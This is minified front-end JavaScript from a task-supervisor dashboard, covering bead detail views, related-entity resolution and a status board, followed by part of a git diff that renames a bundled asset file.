u=ce(s);return{focus:u,focusNode:{...u,title:s.title,status:s.status,url:null,fetchedAt:null,unresolved:!1},beads:s.superseded?[]:[s],focusResolved:!0,beadFocus:!0}}const r=e.beadsForSession.get(t.value)??[],i=e.sessions.has(t.value);if(r.length>0||i){const u={key:v("session",t.value,"session"),type:"session",ref:t.value},a=r.map(c=>e.beads.get(c)).filter(c=>c!==void 0),o=i||a.length>0;return{focus:u,focusNode:{...u,title:e.sessions.get(t.value)?.title??null,status:e.sessions.get(t.value)?.state??null,url:null,fetchedAt:null,unresolved:!o},beads:a,focusResolved:o,beadFocus:!1}}const l={key:v("bead",t.value,"unknown"),type:"bead",ref:t.value};return{focus:l,focusNode:{...l,title:null,status:null,url:null,fetchedAt:null,unresolved:!0},beads:[],focusResolved:!1,beadFocus:!0}}function ce(e){return{key:v("bead",e.id,e.scope),type:"bead",ref:e.id}}function de(e,t,s,r,i,l){if(t.parentBeadId){const a=r.beads.get(t.parentBeadId);a?N(e,s,a,"parent",i):fe(e,s,t.parentBeadId,"parent")}const u=(r.childrenOf.get(t.id)??[]).filter(a=>a!==t.id);for(const a of u){const o=r.beads.get(a);o&&N(e,s,o,"child",i)}if(t.moleculeId){const a=(r.membersOfMolecule.get(t.moleculeId)??[]).filter(o=>o!==t.id&&o!==t.moleculeId);if(t.moleculeId!==t.id){const o=r.beads.get(t.moleculeId);o&&N(e,s,o,"molecule",i)}for(const o of a){const c=r.beads.get(o);c&&N(e,s,c,"molecule",i)}}if(t.prNumber&&M(e,s,"github_pr",`pr/${t.prNumber}`,t.prNumber,F(t.prUrl),"pr","supervisor",l),t.issueNumber&&M(e,s,"github_issue",`issue/${t.issueNumber}`,t.issueNumber,F(t.issueUrl),"issue","supervisor",l),t.sessionId){const a=r.sessions.get(t.sessionId),o={key:v("session",t.sessionId,"session"),type:"session",ref:t.sessionId};a?(y(e,{...o,title:a.title??a.alias??t.sessionName??null,status:a.state??null,url:null,fetchedAt:i,unresolved:!1}),k(e,s,o.key,"session","supervisor",!0),_(e,"session").resolved+=1,b(e.recorder,"session","resolved")):(y(e,{...o,title:t.sessionName??null,status:null,url:null,fetchedAt:i,unresolved:!0}),k(e,s,o.key,"session","supervisor",!1),_(e,"session").unresolved+=1,b(e.recorder,"session","unresolved"))}}function M(e,t,s,r,i,l,u,a,o){const c=v(s,i,"github");y(e,{key:c,type:s,ref:r,title:null,status:null,url:l,fetchedAt:o,unresolved:!0}),k(e,t,c,u,a,!1),_(e,u).unresolved+=1,b(e.recorder,u,"unresolved")}function fe(e,t,s,r){const i=v("bead",s,"unknown");y(e,{key:i,type:"bead",ref:s,title:null,status:null,url:null,fetchedAt:null,unresolved:!0}),k(e,t,i,r,"supervisor",!1),_(e,r).unresolved+=1,b(e.recorder,r,"unresolved")}function $(e,t,s){e.view.stats=[...e.stats.values()].sort((i,l)=>i.relation.localeCompare(l.relation));let r=null;for(const i of e.view.nodes)r=A(r,i.fetchedAt);e.view.asOf=r??A(t,s)}function p(e,t){const s=e.metadata?.[t];if(typeof s=="string"){const r=s.trim();return r.length>0?r:void 0}if(typeof s=="number"&&Number.isFinite(s))return String(s)}function pe(e,t){const s=e.metadata?.[t];if(typeof s=="number"&&Number.isInteger(s)&&s>=0)return s;if(typeof s=="string"&&/^\d+$/.test(s.trim()))return Number.parseInt(s.trim(),10)}const me=["gc.scope_ref","scope_ref","scope_id"],ge=["gc.scope_kind","scope_kind"];function he(e,t){let s;for(const i of me){const l=p(e,i);if(l!==void 0){s=l;break}}let r;for(const i of ge){const l=p(e,i);if(l!==void 0){r=l;break}}return s===void 0?`city:${t}`:`${r??"rig"}:${s}`}const xe=/^github-pr:[^/]+\/[^/]+\/(\d+)$/,ve=/\/(?:pull\/)?(\d+)(?:[/?#]|$)/;function ye(e){const t=p(e,"evidence.pr_url"),s=p(e,"evidence.pr_number"),r=p(e,"evidence.artifact_path"),i=p(e,"pr_review.pr_number"),l=p(e,"pr_review.pr_url"),u=r?.match(xe),a=t?.match(ve),o=s??u?.[1]??a?.[1]??i??void 0,c=t??l??void 0,f={};return o!==void 0&&(f.prNumber=o),c!==void 0&&(f.prUrl=c),f}function je(e,t){const{prNumber:s,prUrl:r}=ye(e),i={id:e.id,title:e.title,status:e.status,scope:he(e,t),superseded:!1},l={parentBeadId:p(e,"gc.parent_bead_id"),rootBeadId:p(e,"gc.root_bead_id"),moleculeId:p(e,"molecule_id"),prNumber:s,prUrl:r,issueNumber:p(e,"bugflow.github_issue_number")??p(e,"design_review.github_issue_number"),issueUrl:p(e,"bugflow.github_issue_url")??p(e,"design_review.github_issue_url"),sessionId:p(e,"session_id"),sessionName:p(e,"session_name"),stepId:p(e,"gc.step_id"),attempt:pe(e,"gc.attempt")};for(const[u,a]of Object.entries(l))a!==void 0&&Object.assign(i,{[u]:a});return i}function B(e){return`${e.moleculeId}\0${e.stepId}`}function Ne(e){const t=new Map;for(const s of e){if(s.moleculeId===void 0||s.stepId===void 0||s.attempt===void 0)continue;const r=B(s),i=t.get(r);(i===void 0||s.attempt>i)&&t.set(r,s.attempt)}for(const s of e){if(s.moleculeId===void 0||s.stepId===void 0||s.attempt===void 0)continue;const r=t.get(B(s));r!==void 0&&s.attempt<r&&(s.superseded=!0)}}function j(e,t,s){const r=e.get(t);r?r.push(s):e.set(t,[s])}function be(e,t,s){const r=e.map(d=>je(d,s));Ne(r);const i=new Map,l=new Map,u=new Map,a=new Map,o=new Map,c=new Map,f=new Map;for(const d of r)i.set(d.id,d),!d.superseded&&(l.set(d.id,d),d.parentBeadId&&j(u,d.parentBeadId,d.id),d.moleculeId&&j(a,d.moleculeId,d.id),d.prNumber&&j(o,d.prNumber,d.id),d.issueNumber&&j(c,d.issueNumber,d.id),d.sessionId&&j(f,d.sessionId,d.id));const m=new Map;for(const d of t)m.set(d.id,d);return{beads:l,allBeads:i,childrenOf:u,membersOfMolecule:a,beadsForPr:o,beadsForIssue:c,beadsForSession:f,sessions:m}}function _e(e,t,s=null){const[r,i]=g.useState(s),[l,u]=g.useState(!1),[a,o]=g.useState(null),[c,f]=g.useState(!1),m=z();return g.useEffect(()=>{if(!e||!t)return;if(s&&s.id===t&&s.description!==void 0){i(s),o(null),f(!1);return}i(s?.id===t?s:null),u(!0),o(null),f(!1);let d=!1;return(async()=>{try{const h=await G(t);d||i(h)}catch(h){if(d)return;h instanceof T&&h.status===404?f(!0):o(ke(h))}finally{d||u(!1)}})(),()=>{d=!0}},[e,t,s]),{bead:r,loading:l,error:a,notFound:c,now:m}}function ke(e){return e instanceof T?e.status===void 0?e.message:`${e.status} ${e.message}`:e instanceof Error?e.message:"fetch failed"}const we=1e3;async function Se(e){const t=ie(e);if(!t.ok)throw new Error(t.error);const s=K("load supervisor entity links"),r=new Date().toISOString(),i=await E().listBeads(s,{limit:we}),l=Re(i.items??[]);let u=H(i,l.length),a=[];try{const c=await E().listSessions(s);a=V(c),u||=Ee(c)}catch{u=!0}const o=be(l,a,s);return ae(o,t,{partial:u,supervisorFetchedAt:r,githubFetchedAt:null})}function Re(e){return e.map(Ie)}function Ie(e){const t={id:e.id,title:e.title,status:e.status,issue_type:e.issue_type,priority:e.priority??null,created_at:e.created_at};return e.description!==void 0&&(t.description=e.description),e.assignee!==void 0&&(t.assignee=e.assignee),Array.isArray(e.labels)&&(t.labels=e.labels),e.metadata!==void 0&&(t.metadata=e.metadata),e.ref!==void 0&&(t.ref=e.ref),e.parent!==void 0&&(t.parent=e.parent),e.from!==void 0&&(t.from=e.from),e.ephemeral!==void 0&&(t.ephemeral=e.ephemeral),e.needs!==void 0&&(t.needs=e.needs),e.dependencies!==void 0&&(t.dependencies=e.dependencies),e.updated_at!==void 0&&(t.updated_at=e.updated_at),t}function Ee(e){return e.partial===!0||(e.partial_errors?.length??0)>0}function Fe(e){const[t,s]=g.useState(null),[r,i]=g.useState(!1),[l,u]=g.useState(null);return g.useEffect(()=>{if(e===null||e.length===0){s(null),u(null),i(!1);return}let a=!1;return i(!0),u(null),(async()=>{try{const o=await Se(e);a||s(o)}catch(o){if(a)return;u(q(o,"related entities failed")),s(null)}finally{a||i(!1)}})(),()=>{a=!0}},[e]),{view:t,loading:r,error:l}}function Ae(e){const t=e.metadata;if(!t)return{};const s={};return t["gc.kind"]&&(s.kind=t["gc.kind"]),t["gc.source_bead_id"]&&(s.originBeadId=t["gc.source_bead_id"]),t["gc.formula_contract"]&&(s.formulaContract=t["gc.formula_contract"]),t["gc.run_target"]?s.runTarget=t["gc.run_target"]:t["gc.routed_to"]&&(s.runTarget=t["gc.routed_to"]),s}function Me(e,t){return t.kind==="run"?"template":e.issue_type==="molecule"?"wisp":"work"}function $e({bead:e}){const t=Ae(e),s=Me(e,t);return n.jsxs("div",{className:"space-y-8",children:[s==="template"&&n.jsxs("section",{children:[n.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-faint mb-3",children:"Formula template"}),n.jsxs("p",{className:"text-body text-fg-muted max-w-prose",children:["This bead is a recipe, not actionable work. Every"," ",e.ref?n.jsx("code",{className:"text-fg-muted",children:e.ref}):"wisp"," instance is instantiated from this template. The ",n.jsx("span",{className:"text-fg-muted",children:"in_progress"})," ","status is the gc-system convention for ",'"',"available for instantiation",'"'," — do not act on it, nudge it, or close it."]})]}),s==="wisp"&&n.jsxs("section",{children:[n.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-faint mb-3",children:"Formula instance"}),n.jsxs("p",{className:"text-body text-fg-muted max-w-prose",children:["One run of the"," ",e.title?n.jsx("code",{className:"text-fg-muted",children:e.title}):"formula"," recipe."]})]}),n.jsxs("dl",{className:"grid grid-cols-2 sm:grid-cols-4 gap-x-8 gap-y-5",children:[n.jsx(x,{label:"Status",children:n.jsx(W,{tone:Y(e.status),label:e.status})}),n.jsx(x,{label:"Type",children:e.issue_type}),n.jsx(x,{label:"Assignee",children:e.assignee||"·"}),n.jsx(x,{label:"Created",children:n.jsx("span",{className:"tnum",children:Q(e.created_at)})})]}),s==="template"&&(t.formulaContract||t.originBeadId||t.runTarget)&&n.jsxs("section",{children:[n.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-faint mb-3",children:"Template origin"}),n.jsx("p",{className:"text-body text-fg-muted max-w-prose mb-4",children:"Where this formula came from, kept for traceability. The origin bead and target may be stale; the formula itself is now used wherever the pool dispatches it."}),n.jsxs("dl",{className:"grid grid-cols-2 sm:grid-cols-3 gap-x-8 gap-y-3",children:[t.formulaContract&&n.jsx(x,{label:"Contract",children:n.jsx("code",{className:"text-fg-muted",children:t.formulaContract})}),e.ref&&n.jsx(x,{label:"Ref",children:n.jsx("code",{className:"text-fg-muted",children:e.ref})}),t.originBeadId&&n.jsx(x,{label:"Origin bead",children:n.jsx("code",{className:"text-fg-muted",children:t.originBeadId})}),t.runTarget&&n.jsx(x,{label:"Origin target",children:n.jsx("span",{className:"text-fg-muted truncate",title:t.runTarget,children:t.runTarget})})]})]}),Array.isArray(e.labels)&&e.labels.length>0&&n.jsxs("section",{children:[n.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-faint mb-3",children:"Labels"}),n.jsx("div",{className:"flex flex-wrap gap-x-3 gap-y-1",children:e.labels.map(r=>n.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:r},r))})]}),n.jsxs("section",{children:[n.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-faint mb-3",children:s==="template"?"Recipe":"Description"}),e.description&&e.description.length>0?n.jsx("pre",{className:"text-body whitespace-pre-wrap leading-relaxed text-fg font-sans",children:e.description}):n.jsx("p",{className:"text-body text-fg-muted italic",children:"No description."})]})]})}function Be({node:e,onOpenBead:t}){const{deps:s,blocks:r}=e,i=s.length>0||r.length>0;return n.jsxs("section",{children:[n.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-faint mb-3",children:"Dependencies"}),i?n.jsxs("div",{className:"space-y-6",children:[s.length>0&&n.jsxs("div",{children:[n.jsxs("p",{className:"text-label uppercase tracking-wider text-fg-muted mb-2",children:["Needs ",n.jsx("span",{className:"tnum",children:s.length})]}),n.jsx("ul",{className:"space-y-1",children:s.map(l=>n.jsx(L,{relation:l.kind==="needs"?null:l.kind,targetId:l.id,targetTitle:l.bead?.title??null,...l.bead&&t?{onOpenBead:t}:{}},`needs-${l.id}`))})]}),r.length>0&&n.jsxs("div",{children:[n.jsxs("p",{className:"text-label uppercase tracking-wider text-fg-muted mb-2",children:["Blocks ",n.jsx("span",{className:"tnum",children:r.length})]}),n.jsx("ul",{className:"space-y-1",children:r.map(l=>n.jsx(L,{relation:null,targetId:l.id,targetTitle:l.title,...t?{onOpenBead:t}:{}},`blocks-${l.id}`))})]})]}):n.jsx("p",{className:"text-body text-fg-muted italic",children:"No dependencies."})]})}function L({relation:e,targetId:t,targetTitle:s,onOpenBead:r}){const i=n.jsxs(n.Fragment,{children:[e&&n.jsxs("span",{className:"text-label uppercase tracking-wider text-fg-faint",children:[e," "]}),n.jsx("span",{className:"tnum text-fg-muted",children:t}),s&&n.jsxs("span",{className:"text-fg",children:[" · ",s]})]});return n.jsx("li",{className:"text-body leading-snug",children:r?n.jsx("button",{type:"button",onClick:()=>r(t),className:"text-left text-fg-muted hover:text-fg focus-mark rounded-sm",title:`Open ${t}`,children:i}):n.jsxs("span",{title:"Outside the fetched window",children:[i," ",n.jsx("span",{className:"text-warn text-label uppercase tracking-wider",children:"unresolved"})]})})}function Le({open:e,onClose:t,session:s,beadTitle:r}){const i=C(s);return n.jsx(O,{open:e,onClose:t,title:r,caption:s===null?"No live session resolved for this bead.":i?"Live transcript from the supervisor's session stream.":"Snapshot from the supervisor's transcript API.",widthClass:"max-w-5xl",children:n.jsx(ee,{sessionId:s?.id??null,stream:i,showBadge:!0,showCaption:!0})})}const Te=6,Ce=3600*1e3,Oe=3,Pe=["bead","formula_run","session","github_pr","github_issue","order_run"],Ue={bead:"Beads",session:"Sessions",github_pr:"Pull requests",github_issue:"Issues",formula_run:"Formula runs",order_run:"Order runs"};function De({view:e,loading:t,error:s,now:r,onOpenBead:i}){const[l,u]=g.useState(!1),a=g.useMemo(()=>We(e),[e]),o=g.useMemo(()=>qe(e),[e]),c=o.unresolved>=Oe;return n.jsxs("section",{className:"mt-12",children:[n.jsxs("header",{className:"flex items-baseline justify-between mb-4 gap-3",children:[n.jsx("h2",{className:"text-label uppercase tracking-wider text-fg-faint",children:"Related"}),n.jsxs("div",{className:"flex items-baseline gap-3 min-w-0",children:[e&&e.asOf&&n.jsxs("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum shrink-0",children:["as of ",P(e.asOf,r)]}),n.jsx(ze,{loading:t,counts:o,showMark:c})]})]}),s!==null?n.jsx("p",{className:"text-body text-accent",role:"alert",children:s}):t&&e===null?n.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading related entities."}):e===null||a.length===0?n.jsx("p",{className:"text-body text-fg-muted italic",children:"No related entities."}):n.jsxs(n.Fragment,{children:[e.partial&&n.jsx("p",{className:"text-label uppercase tracking-wider text-warn mb-4",role:"status",children:"Partial: some sources did not load. Links may be incomplete."}),n.jsx("button",{type:"button",onClick:()=>u(f=>!f),className:"text-label uppercase tracking-wider text-fg-faint hover:text-fg focus-mark mb-4","aria-expanded":l,children:l?"Hide detail":"Show detail"}),l&&n.jsx("div",{className:"space-y-8",children:a.map(f=>n.jsx(Ge,{type:f.type,rows:f.rows,now:r,...i!==void 0?{onOpenBead:i}:{}},f.type))})]})]})}function ze({loading:e,counts:t,showMark:s}){if(e)return n.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint",children:"·"});const r=[];t.resolved>0&&r.push(`${t.resolved} resolved`),t.unresolved>0&&r.push(`${t.unresolved} unresolved`),t.candidates>0&&r.push(`${t.candidates} candidates`);const i=r.length>0?r.join(", "):"none";return n.jsxs("span",{className:`text-label uppercase tracking-wider tnum truncate ${s?"text-accent":"text-fg-faint"}`,children:[s&&n.jsx("span",{"aria-hidden":!0,children:"■ "}),i]})}function Ge({type:e,rows:t,now:s,onOpenBead:r}){const i=t.slice(0,Te),l=t.length-i.length;return n.jsxs("div",{children:[n.jsxs("header",{className:"flex items-baseline justify-between mb-2",children:[n.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-faint",children:Ue[e]}),n.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:t.length})]}),n.jsx("ul",{className:"space-y-2",children:i.map(u=>n.jsx(Ke,{row:u,now:s,...r!==void 0?{onOpenBead:r}:{}},`${u.relation}\0${u.node.key}`))}),l>0&&n.jsxs("p",{className:"text-label uppercase tracking-wider text-fg-faint mt-2",children:["+ ",l," more"]})]})}function Ke({row:e,now:t,onOpenBead:s}){const{node:r,relation:i}=e,l=Ye(r.fetchedAt,t),u=r.title??r.ref,a=r.unresolved||l;return n.jsxs("li",{className:"flex items-baseline gap-3 min-w-0",children:[n.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint shrink-0 w-20 truncate",children:i}),n.jsx("span",{className:"min-w-0 flex-1 truncate",children:n.jsx(He,{node:r,label:u,dimmed:a,...s!==void 0?{onOpenBead:s}:{}})}),n.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum shrink-0",children:r.unresolved?Ve(r):r.fetchedAt?P(r.fetchedAt,t):r.status??"·"})]})}function He({node:e,label:t,dimmed:s,onOpenBead:r}){const i=`text-body text-left truncate min-w-0 focus-mark ${s?"text-fg-muted":"text-fg hover:text-accent"}`;return e.type==="bead"&&!e.unresolved&&r?n.jsx("button",{type:"button",onClick:()=>r(e.ref),className:i,title:`Open ${e.ref}`,children:t}):e.type==="session"&&!e.unresolved?n.jsx(Z,{to:`/agents/${encodeURIComponent(e.ref)}`,className:i,children:t}):e.url?n.jsxs("a",{href:e.url,target:"_blank",rel:"noreferrer noopener",className:i,title:e.url,children:[t," ",n.jsx("span",{"aria-hidden":!0,children:"↗"})]}):n.jsx("span",{className:i,children:t})}function Ve(e){return e.candidateCount!==void 0&&e.candidateCount>1?`${e.candidateCount} candidates`:"unresolved"}function qe(e){const t={resolved:0,unresolved:0,candidates:0};if(e===null)return t;for(const s of e.nodes)s.key!==e.focus.key&&(s.candidateCount!==void 0&&s.candidateCount>1?t.candidates+=1:s.unresolved?t.unresolved+=1:t.resolved+=1);return t}function We(e){if(e===null)return[];const t=new Map;for(const i of e.nodes)t.set(i.key,i);const s=new Map;for(const i of e.edges){if(i.from!==e.focus.key)continue;const l=t.get(i.to);if(l===void 0)continue;const u=s.get(l.type)??[];u.push({node:l,relation:i.relation}),s.set(l.type,u)}const r=[];for(const i of Pe){const l=s.get(i);l&&l.length>0&&(l.sort((u,a)=>Number(u.node.unresolved)-Number(a.node.unresolved)),r.push({type:i,rows:l}))}return r}function Ye(e,t){if(e===null)return!1;const s=Date.parse(e);return Number.isFinite(s)?t-s>Ce:!1}function st({open:e,onClose:t,beadId:s,initialBead:r=null,onOpenBead:i,depNode:l=null,sessions:u,renderActions:a}){const{bead:o,loading:c,error:f,notFound:m,now:d}=_e(e,s,r),h=Fe(e?s:null),[U,w]=g.useState(!1),S=o&&u&&o.assignee&&o.assignee.length>0?J(o.assignee,u):null,R=C(S),I=o?a?.(o):void 0,D=I||R?n.jsxs(n.Fragment,{children:[I,R&&n.jsx(X,{size:"sm",tone:"quiet",onClick:()=>w(!0),children:"View live run"})]}):void 0;return n.jsxs(n.Fragment,{children:[n.jsx(O,{open:e,onClose:t,title:o?.title??s??"Bead",caption:o?n.jsxs("span",{children:[n.jsx("code",{className:"text-fg-muted",children:o.id})," · ",o.issue_type," · P",o.priority==null?"—":o.priority]}):s?n.jsx("code",{className:"text-fg-muted",children:s}):void 0,widthClass:"max-w-3xl",footer:D,children:m?n.jsxs("div",{className:"space-y-2",children:[n.jsx("p",{className:"text-fg-muted",children:"This decision was resolved or removed."}),n.jsx("p",{className:"text-fg-faint text-sm",children:"The bead it pointed to is no longer in the supervisor — it was likely closed or pruned since this link was surfaced."})]}):f?n.jsx("p",{className:"text-accent",role:"alert",children:f}):c&&o===null?n.jsx("p",{className:"text-fg-muted italic",children:"Fetching bead."}):o===null?n.jsx("p",{className:"text-fg-muted italic",children:"No bead."}):n.jsxs("div",{className:"space-y-8",children:[n.jsx($e,{bead:o}),l&&n.jsx(Be,{node:l,...i!==void 0?{onOpenBead:i}:{}}),n.jsx(De,{view:h.view,loading:h.loading,error:h.error,now:d,...i!==void 0?{onOpenBead:i}:{}})]})}),o&&n.jsx(Le,{open:U,onClose:()=>w(!1),session:S,beadTitle:o.title})]})}export{st as B,De as R,Fe as u};
diff --git a/internal/api/dashboardspa/dist/assets/Beads-P9httQnR.js b/internal/api/dashboardspa/dist/assets/Beads-CRhPo2Gt.js
similarity index 96%
rename from internal/api/dashboardspa/dist/assets/Beads-P9httQnR.js
rename to internal/api/dashboardspa/dist/assets/Beads-CRhPo2Gt.js
index e7c40510b0..9792f169db 100644
--- a/internal/api/dashboardspa/dist/assets/Beads-P9httQnR.js
+++ b/internal/api/dashboardspa/dist/assets/Beads-CRhPo2Gt.js
@@ -1 +1 @@
-import{j as e,S as je,B as w,r as o,J as L,K as X,a as Le,g as Fe,M as Te,b as Y,c as De,l as qe,f as ze,z as fe,R as xe,i as J,I as He,G as Ke}from"./index-fZITW1u7.js";import{b as Ve,r as Ge}from"./routeHighlight-B30gQO2o.js";import{B as Ue}from"./BeadDetailModal-sFRcKk2v.js";import{u as Ye,F as Je}from"./useListFilters-BD7uNn8W.js";import{L as Xe,f as Qe}from"./projectOf-CTBm9kvF.js";import{M as be}from"./constants-D2ZRoVbf.js";import{P as We}from"./PageHeader-BLycRKkQ.js";import{l as Ze}from"./agentReads-B_zbPymi.js";import"./format-fte2CeYD.js";import"./Field-n7F8BpXe.js";import"./LiveSessionPeek-BIw38Xn5.js";import"./time-D9v0saHV.js";function et(n){if(n===void 0)return null;const s=n.indexOf("?");if(s<0)return null;const l=new URLSearchParams(n.slice(s+1)).get("bead");return l!==null&&l.length>0?l:null}function tt({items:n,onOpen:s}){const l=n.filter(a=>a.severity==="attention"||a.severity==="watch");return l.length===0?null:e.jsxs("section",{"aria-labelledby":"beads-attention-title",className:"mb-8 space-y-3",children:[e.jsxs("h2",{id:"beads-attention-title",className:"text-label uppercase tracking-wider text-fg-muted",children:["Needs you ",e.jsxs("span",{className:"tnum text-fg",children:["(",l.length,")"]})]}),e.jsx("ul",{className:"space-y-2",children:l.map(a=>{const i=et(a.href);return e.jsxs("li",{className:"flex flex-wrap items-baseline justify-between gap-x-4 gap-y-1",children:[e.jsxs("div",{className:"min-w-0 space-y-0.5",children:[e.jsx(je,{tone:a.severity==="attention"?"stuck":"warn",label:a.title}),a.summary!==void 0&&e.jsx("p",{className:"text-body text-fg-muted",children:a.summary})]}),i!==null&&e.jsx("div",{className:"flex items-center gap-2",children:e.jsx(w,{type:"button",size:"sm",tone:"quiet",onClick:()=>s(i),children:"Open"})})]},a.id)})})]})}const ae=[{id:"ready",label:"ready"},{id:"open",label:"open"},{id:"in_progress",label:"in progress"},{id:"blocked",label:"blocked"},{id:"done",label:"done"}];function st(n){const s=new Set,l=[];for(const a of n.needs??[])a.length===0||s.has(a)||(s.add(a),l.push({id:a,kind:"needs"}));for(const a of n.dependencies??[]){const i=a.depends_on_id;i.length===0||s.has(i)||(s.add(i),l.push({id:i,kind:a.type}))}return l}function nt(n){return(n.needs??[]).filter(s=>s.length>0)}function at(n){switch(n.bead.status){case"in_progress":return"in_progress";case"blocked":return"blocked";case"closed":return"done";default:return n.ready?"ready":"open"}}function lt(n,s){const l=n.bead.priority??Number.POSITIVE_INFINITY,a=s.bead.priority??Number.POSITIVE_INFINITY;return l!==a?l-a:n.bead.id<s.bead.id?-1:n.bead.id>s.bead.id?1:0}function rt(n){const s=new Map;for(const r of n)s.set(r.id,r);const l=new Map,a=new Map;for(const r of n){const c=st(r).map(({id:m,kind:g})=>({id:m,kind:g,bead:s.get(m)??null})),u=c.some(m=>m.bead===null),d=nt(r),h=r.status==="open"&&d.every(m=>s.get(m)?.status==="closed"),p={bead:r,deps:c,blocks:[],ready:h,hasUnresolvedDeps:u,column:"open"};p.column=at(p),a.set(r.id,p);for(const m of c){if(m.bead===null)continue;const g=l.get(m.id);g?g.push(r):l.set(m.id,[r])}}for(const[r,c]of l){const u=a.get(r);u&&(u.blocks=[...c].sort((d,h)=>d.id<h.id?-1:d.id>h.id?1:0))}const i=Ne();for(const r of a.values())i[r.column].push(r);for(const r of ae)i[r.id].sort(lt);return{nodes:a,columns:i}}function Ne(){return{ready:[],open:[],in_progress:[],blocked:[],done:[]}}function ot(n,s){const l=Ne();for(const a of ae)l[a.id]=n.columns[a.id].filter(i=>s.has(i.bead.id));return l}function it({node:n,selected:s,attentionSeverity:l=null,onSelect:a}){const{bead:i,deps:r,blocks:c,hasUnresolvedDeps:u}=n,d=o.useRef(null),h=r.length,p=c.length,m=h>0||p>0,{className:g="",...R}=Ve(l);return o.useEffect(()=>{s&&d.current?.scrollIntoView?.({block:"center",inline:"nearest"})},[s]),e.jsx("li",{ref:d,...R,className:`px-2 py-2 -mx-2 rounded-sm transition-colors duration-150 ease-out-quart ${s?"bg-surface-tint":"hover:bg-surface-tint/60"} ${g}`,children:e.jsxs("button",{type:"button",onClick:()=>a(i.id),className:"text-left w-full focus-mark rounded-sm","aria-pressed":s,title:`Select ${i.id}`,children:[e.jsxs("span",{className:"flex items-baseline gap-2",children:[e.jsx("span",{className:"text-fg-faint","aria-hidden":"true",children:s?"▸":" "}),e.jsx("span",{className:`min-w-0 line-clamp-2 text-body ${s?"text-fg font-medium":"text-fg"}`,children:i.title})]}),e.jsxs("span",{className:"flex items-baseline gap-3 pl-4 mt-0.5 text-label uppercase tracking-wider text-fg-faint",children:[e.jsx("span",{className:"tnum",children:i.id}),i.priority!=null&&e.jsxs("span",{className:"tnum",children:["P",i.priority]}),m&&e.jsxs("span",{className:"tnum normal-case tracking-normal",children:[h>0&&`needs ${h}`,h>0&&p>0&&" · ",p>0&&`blocks ${p}`]}),u&&e.jsx("span",{className:"normal-case tracking-normal text-warn",children:"unresolved"})]})]})})}function ct({columns:n,selectedId:s,attentionSeverity:l,onSelect:a}){return e.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 xl:grid-cols-5 gap-x-8 gap-y-8",children:ae.map(i=>{const r=n[i.id],u=i.id==="blocked"&&r.length>0?"text-accent":"text-fg-muted";return e.jsxs("section",{"aria-label":i.label,children:[e.jsxs("header",{className:"flex items-baseline justify-between border-b border-rule pb-2 mb-3",children:[e.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-muted",children:i.label}),e.jsx("span",{className:`text-label tnum ${u}`,children:r.length})]}),r.length===0?e.jsx("p",{className:"text-body text-fg-faint italic",children:"·"}):e.jsx("ul",{className:"space-y-1",children:r.map(d=>e.jsx(it,{node:d,selected:d.bead.id===s,attentionSeverity:l?.(d.bead.id)??null,onSelect:a},d.bead.id))})]},i.id)})})}function dt({label:n,count:s,graph:l,ids:a,selectedId:i,attentionSeverity:r,onSelect:c}){const u=ot(l,a);return e.jsxs("section",{"aria-label":n,children:[e.jsxs("header",{className:"flex items-baseline justify-between border-b border-rule pb-2 mb-4",children:[e.jsx("h2",{className:"text-headline text-fg",children:n}),e.jsx("span",{className:"text-label tnum text-fg-muted",children:s})]}),e.jsx(ct,{columns:u,selectedId:i,...r===void 0?{}:{attentionSeverity:r},onSelect:c})]})}function ut(n,s){const l=n?.trim();if(!l)return;const a=s.find(r=>r.name===l);return a?a.name:s.find(r=>r.path===l)?.name}function mt(n){return Array.from(new Set(n.map(s=>s.name.trim()).filter(s=>s.length>0))).sort((s,l)=>s.localeCompare(l))}async function pt(){const n=await L().listRigs(X("list supervisor rigs"));return{...n,items:n.items??[]}}async function gt(n,s){const l=s?.trim()??"";await L().closeBead(X("close supervisor bead"),n,l.length===0?void 0:{reason:l})}async function ht(n){const s=n.trim();if(s.length===0)throw new Error("agent alias is required");await L().nudgeAgent(X("nudge supervisor agent"),s)}async function ft(n){const s=n.title.trim(),l=n.description.trim(),a=n.rig.trim(),i=n.target.trim();if(s.length===0)throw new Error("bead title is required");if(i.length===0)throw new Error("sling target is required");const r=X("create and sling supervisor bead"),c={title:s};l.length>0&&(c.description=l);const u=await L().createBead(r,c),d={bead:u.id,target:i};a.length>0&&(d.rig=a);const h=await L().sling(r,d);return{bead:u,sling:h}}const xt=new Set,v="",we="closed",bt=1e4,ye=[{id:"open",label:"open",match:n=>n.status==="open"},{id:"in_progress",label:"in progress",match:n=>n.status==="in_progress"},{id:"blocked",label:"blocked",match:n=>n.status==="blocked"},{id:we,label:"closed",match:n=>n.status==="closed"}],yt=n=>[n.id,n.title,n.assignee,...n.labels??[]];function Mt(){const n=Le(),s=Fe(),a=He()??"no-city",[i]=Te(),r=jt(i.get("bead")),[c,u]=o.useState(v),[d,h]=o.useState(!1),[p,m]=o.useState(r),[g,R]=o.useState(null),[le,_]=o.useState(""),[k,re]=o.useState(null),[F,S]=o.useState(null),[Q,T]=o.useState(!1),[D,oe]=o.useState(!1),[ie,W]=o.useState(null),[q,ce]=o.useState(""),[Z,de]=o.useState(""),[A,ue]=o.useState(""),[y,$]=o.useState(""),{data:I,loading:z,error:me,refresh:E}=Y(`beads:board:${a}:${c}:${d?"all":"open"}`,()=>De({includeClosed:d,...c===v?{}:{rigFilter:c}})),ve=o.useMemo(()=>I?.items??[],[I]),pe=I?.total??0,ee=I?.upstream_total,te=I?.upstream_fetched,Ce=I?.fetch_limit,H=I!==void 